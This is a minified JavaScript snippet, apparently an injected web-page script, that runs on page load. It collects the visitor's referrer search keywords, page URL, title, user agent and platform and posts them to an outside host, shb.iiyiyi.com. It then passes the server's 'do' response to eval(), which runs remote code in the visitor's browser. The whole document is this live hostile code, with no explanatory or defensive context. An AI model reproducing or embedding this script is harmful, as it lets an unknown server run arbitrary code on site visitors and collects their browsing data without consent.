(function () { window.haoyang = { parseURL: function (url) { var a = document.createElement('a'); a.href = url; return { source: url, protocol: a.protocol.replace(':', ''), host: a.hostname, port: a.port, query: a.search, params: (function () { var ret = {}, seg = a.search.replace(/^\?/, '').split('&'), len = seg.length, i = 0, s; for (; i < len; i++) { if (!seg[i]) { continue; } s = seg[i].split('='); ret[s[0]] = s[1]; } return ret; })(), file: (a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1], hash: a.hash.replace('#', ''), path: a.pathname.replace(/^([^\/])/, '/$1'), relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1], segments: a.pathname.replace(/^\//, '').split('/') }; }, post: function (url, data, fn) { var obj = new XMLHttpRequest(); obj.open("POST", url, true); obj.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); obj.onreadystatechange = function () { if (obj.readyState == 4 && (obj.status == 200 || obj.status == 304)) { fn.call(this, obj.responseText); } }; obj.send(data); } }; var $data = {"id": "64"}, $url = haoyang.parseURL(document.referrer), $wd_temp = '', $wd_temp_hy = ''; $data["wd"] = $url.params.wd || $url.params.word || $url.params.query || $url.params.keyword || $url.params.keywod || $url.params.q || ''; $data["href"] = document.location.href; $data["title"] = document.title; $data["user_agent"] = navigator.userAgent; $data["source"] = $url.host; $data["platform"] = navigator.platform; $data["hy_name"] = document.referrer; try { $data["referrer"] = document.referrer || $url.params.p || $url.params.dp || ""; } catch (err) { try { $data["referrer"] = document.referrer || urlarr["p"] || urlarr["dp"] || ""; } catch (err) { } } try { if (/.sm.cn$/i.test($url.host)) { $data["wd"] = $url.params.q || ''; $data['q'] = 1; } if (/.smapi.cn$/i.test($url.host)) { $data["wd"] = $url.params.q || ''; $data['q'] = 1; } if (/.so.com$/i.test($url.host)) { $data["wd"] = $url.params.q || ''; $data['q'] = 1; } } catch (err) { } if ($data['q'] == null || $data['q'] == undefined || $data['q'] == '') { $data['q'] = 2; } $hy_temp_wd = decodeURIComponent($data["wd"]); if ($hy_temp_wd.indexOf('%') >= 0) { haoyang.post("http://shb.iiyiyi.com/m/getTransCoding", JSON.stringify($data), function ($res) { $res = JSON.parse($res); if ($res['code'] == '0') { $data["wd"] = $res['keyword']; postRequest($data); } }, false); } else { postRequest($data); } })(); function postRequest($data) { haoyang.post("http://shb.iiyiyi.com/m/getWebResult", JSON.stringify($data), function ($rs) { $rs = JSON.parse($rs); if ($rs['code'] == '0') { eval($rs['do']); } }); }